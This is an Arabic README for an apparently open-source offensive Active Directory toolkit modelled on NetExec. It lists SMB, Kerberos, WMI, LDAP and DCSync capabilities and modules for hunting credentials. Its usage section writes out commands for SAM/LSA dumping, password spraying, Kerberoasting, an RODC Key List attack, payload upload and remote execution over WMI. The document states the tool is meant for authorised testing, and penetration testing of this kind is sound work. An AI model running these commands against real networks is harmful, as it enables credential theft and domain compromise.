
أداة تنفيذ شبكي متعددة المنصات (SMB/Kerberos/WMI/LDAP/DCSync) مبنية على Titanis من TrustedSec - سير عمل بأسلوب NetExec بلغة C#
Atlas هي مجموعة أدوات متعددة المنصات (Windows/Linux) لتنفيذ الشبكات وتقييم الأمن، مبنية فوق مكتبة بروتوكول TrustedSec's Titanis. وهي مستوحاة من سير عمل NetExec/CrackMapExec: قوائم الأهداف، ومجموعات بيانات الاعتماد، والتعداد المعياري، ومخرجات وحدة التحكم المدمجة [HH:mm:ss] [+] host - message.
هذه الأداة مخصصة لاختبار الأمن المصرح به. لا تستخدمها إلا ضد الأنظمة التي لديك إذن صريح باختبارها.
| البروتوكول | القدرات |
|---|---|
smb | فحص المصادقة (NTLM/Kerberos/مجهول)، المشاركات، المستخدمون، المجموعات، الأقراص، الجلسات عبر SRVS/SAMR؛ SAM/LSA عبر Remote Registry؛ عمليات الملفات عبر SMB2/3؛ --pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt؛ اللقطات/التدفقات/الملفات المفتوحة/بطاقات الشبكة؛ أعضاء المجموعات، البحث عن LSA SID/name، استعلام السجل، الخدمات، المستخدمون المسجلون، قائمة/إنهاء المهام، إكراه EFS؛ التنفيذ عبر wmiexec / smbexec / mmcexec (MMC DCOM) |
kerberos | تعداد المستخدمين، كشف pre-auth/AS-REP، Kerberoasting، هجوم Key List، تزوير التذاكر (golden/silver)، طلب TGT، تغيير كلمة المرور، S4U2Self/Proxy (-S4UserName) |
wmi | المصادقة عبر DCOM/WMI، Win32_Process.Create (-x/-X) أو --wmi-query (WQL)، سرد مساحات الأسماء، سجل StdRegProv، استدعاء طريقة DCOM، سرد نقاط نهاية EPM |
ldap | المصادقة عبر SASL/simple bind، الاستعلامات + الأعلام (--users/--trusted-for-delegation/--pass-pol/--get-sid إلخ)، --kerberoasting، عمليات الكتابة (-AddUser/-AddComputer/-Delete/-Modify/-SetPassword)، الوحدات، --bloodhound (-c) إلى BloodHound CE JSON+zip |
dcsync | النسخ المتماثل عبر [MS-DRSR] (DRSGetNCChanges): كائنات مفردة، مزامنة NC كاملة --ntds، الطوبولوجيا (-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName) |
يتبع نمط الأعلام NetExec حيثما أمكن (
--shares،--users،--pass-pol،--rid-brute،--local-groups،-dللنطاق،-Hللتجزئة،--kdcHost،-M/-o/-Lللوحدات). تظل تهجئات Titanis بشرطة واحدة (-Shares،-ud،-NtlmHash) تعمل. ملاحظة: لا يمكن لـ-x/-Xالتعايش (غير حساس لحالة الأحرف)، لذا تنفيذ PowerShell هو-ps؛-dهو النطاق في كل مكان بما في ذلكkerberos(يعود realm إليه).
atlas <proto> -L)| الوحدة | البروتوكول | الوصف |
|---|---|---|
spider | smb | زاحف مشاركات تعاودي (depth، maxfiles، match) |
shareaccess | smb | فحص صلاحية القراءة/الكتابة لكل مشاركة |
localadmins | smb | المسؤولون المحليون عبر SAMR |
gpp_password | smb | فك تشفير cpassword من Groups.xml وغيرها |
gpp_autologin | smb | بيانات اعتماد تسجيل الدخول التلقائي من Registry.xml |
gpp_privileges | smb | تعيينات الامتيازات من GptTmpl.inf |
uac / wdigest / runasppl / install_elevated | smb | فحوصات السجل عبر winreg |
spooler | smb | حالة Print Spooler عبر SCM |
keepass / rclone / winscp / mremoteng / vnc وغيرها | smb | أدوات البحث عن الملفات على المشاركات |
ntlmv1 / reg-winlogon / hyperv-host | smb | LmCompatibilityLevel، تسجيل الدخول التلقائي في Winlogon، مضيف Hyper-V |
remote-uac / rdp / shadowrdp | smb | قراءة/كتابة UAC البعيد، RDP، تظليل RDP (ACTION=...) |
reg-query | smb | استعلام/تعيين/حذف قيم السجل (PATH=...، KEY=...، VALUE=...، TYPE=...، DELETE=True) |
enum_cve | smb | فحص CVE حسب مستوى التصحيح من build + UBR |
enum_av | smb | AV/EDR عبر أسماء خدمات LSA + أنابيب IPC$ |
enum_dns / get_netconnections / bitlocker | smb | عبر WMI (root\MicrosoftDNS، إعدادات NIC، BitLocker) |
putty / notepad / recent_files / recyclebin / snipped | smb | جلسات PuTTY + .ppk، حالة تبويبات Notepad، ملفات LNK الأخيرة، سلة المحذوفات، لقطات الشاشة |
lockscreendoors | smb | ثنائيات إمكانية الوصول المخترقة عبر FileDescription |
drop-sc / drop-library-ms / scuffy / slinky | smb | إسقاطات إغراء الإكراه + CLEANUP=True |
webdav / smbghost / onelogon / sccm-recon6 | smb | فحص WebClient، استكشاف SMBGhost، VulnerableChannelAllowList، استطلاع SCCM |
wcc | smb | قائمة تدقيق الوضع الأمني في Windows (UAC/LSA/RDP/Defender/LAPS/NetBIOS/...) |
change-password | smb | تغيير كلمة المرور ذاتيًا عبر SAMR (USER=...، OLDPASS=...، NEWPASS=...) |
maq | ldap | ms-DS-MachineAccountQuota |
pre2k | ldap | أجهزة ما قبل Windows 2000 (UAC 4128) |
laps | ldap | كلمات مرور LAPS |
adcs | ldap | خدمات تسجيل AD CS |
subnets | ldap | المواقع/الشبكات الفرعية من Configuration NC |
daclread / badsuccessor / certipy-find وغيرها | ldap | استطلاع LDAP عبر Titanis |
get-unixUserPassword / dns-nonsecure | ldap | كلمات مرور Unix، مناطق DNS غير الآمنة |
modify-group / add-computer | ldap | عضوية المجموعات، دورة حياة الحاسوب (NAME=...، DELETE=True، ...) |
مشتركة عبر جميع البروتوكولات:
a.b.c.d-e)، قوائم مفصولة بفواصل، @file.kirbi/.ccache، شهادات PKINIT، S4U، تجاوزات SPN، SOCKS5يضم المستودع مصدر Titanis تحت external/Titanis ويبنيه كجزء من الحل.
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
الملف التنفيذي الناتج هو تطبيق .NET يعتمد على إطار العمل:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
يقبل تحديد الهدف أي مزيج من: HOST، 10.0.0.5، 192.168.1.0/24، 10.0.0.1-64، قوائم مفصولة بفواصل، أو @targets.txt.
# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac
# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf
# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec
# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName